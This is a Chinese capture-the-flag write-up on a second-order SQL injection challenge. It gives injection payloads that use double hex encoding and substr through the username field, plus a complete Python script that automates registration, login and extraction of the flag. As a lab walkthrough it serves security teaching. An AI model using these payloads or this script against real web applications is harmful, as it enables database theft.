0x01 考点关键词
SQL二次注入
0x02 分析
题目提示 SQL,打开是一个登录页面,fuzz 一下没有明显 sql 注入痕迹。
扫描目录有:login.php、register.php、config.php。
先随便注册一个账号登录上去发现就是一个简单的页面,也不能上传头像,只显示用户名,猜测可能用户名这存在二次注入,还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200 ,这里就有可能存在 update注入 ,之后发现并没有更新用户信息,所以应该不存在 update注入 。那我们就针对用户名部分,进行二次注入测试,顺着这个思路进行测试:
注册邮箱为 Lola@qq,用户名为 Lola' or '1'='1,密码为 Lola 的账户,进行登录
发现成功注入!利用 0'+hex编码要读取的信息+'0 不变闭合构造payload:
0'+(select hex(hex(database())))+'0
得到用户名为 373736353632 解码后得到数据库名为 web,但是后面貌似过滤了information_schema,flag表的名称全靠猜测。
最后的payload:
0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0
跑出全部后拼接在一起解码即可得到 flag。
这里附上大佬的解题脚本:
#-*- coding: utf-8 -*-
import time
import requests
import re
import random
head_txt = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '39',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
find_str = re.compile(r'((?<=(\"user-name\">[ \s])).+(?=(</span>)))')
url = 'http://124.126.19.106:48833/'
reg_url = url + "/register.php"
log_url = url + "/login.php"
index_url = url + "/index.php"
lenth = 10
i = 1
flag_hexhex = ''
while lenth == 10:
name = "0'%2B(select substr(hex(hex((select * from flag))) from "+ str(i) +" for 10))%2B'0"
i = i+10
#SUBSTR(str,pos,len); 不能用,符号
#substr(database() from 1 for 2) 表示从1开始截取两个字符 数据库是从1开始 不是从0开始
#这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。
#"0'%2B(select substr(hex(hex(database())) from 1 for 10))%2B'0"
email = str(random.randint(10000,99990))+'@qq.com' #随机生成邮箱
reg_data = "email="+email+"&username="+name+"&password=test@123" #注册账号数据
#INSERT INTO user(email,name,password) VALUES('$email','$name','$password');
#INSERT INTO user(email,name,password) VALUES('$email','0'+(select hex(hex(database())))+'0','$password');
print('----'+name+'----')
log_data = "email="+email+"&password=test@123" #登录数据
reg_res = requests.post(reg_url,reg_data,headers = head_txt).text #注册账号
s = requests.Session()
log_res = s.post(log_url,log_data,headers = head_txt).text#登录账号
if '674407.jpg' in log_res:#判断登录是否成功
print('登录成功')
index_res = s.get(index_url).text # 获得index页面内容
mage = find_str.search(index_res).group() #获取用户名信息
#$select_sql="SELECT name FROM users WHERE email = ''";
#$select_sql="SELECT * FROM users WHERE email=''";
flag_num = str(mage).strip()
print('返回结果:'+flag_num + '\n')
lenth = len(flag_num)
flag_hexhex = flag_hexhex+str(flag_num)
#print(index_res)
else:
print('注册失败')
print(flag_hexhex)
0x03 注意
至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。
Comments | NOTHING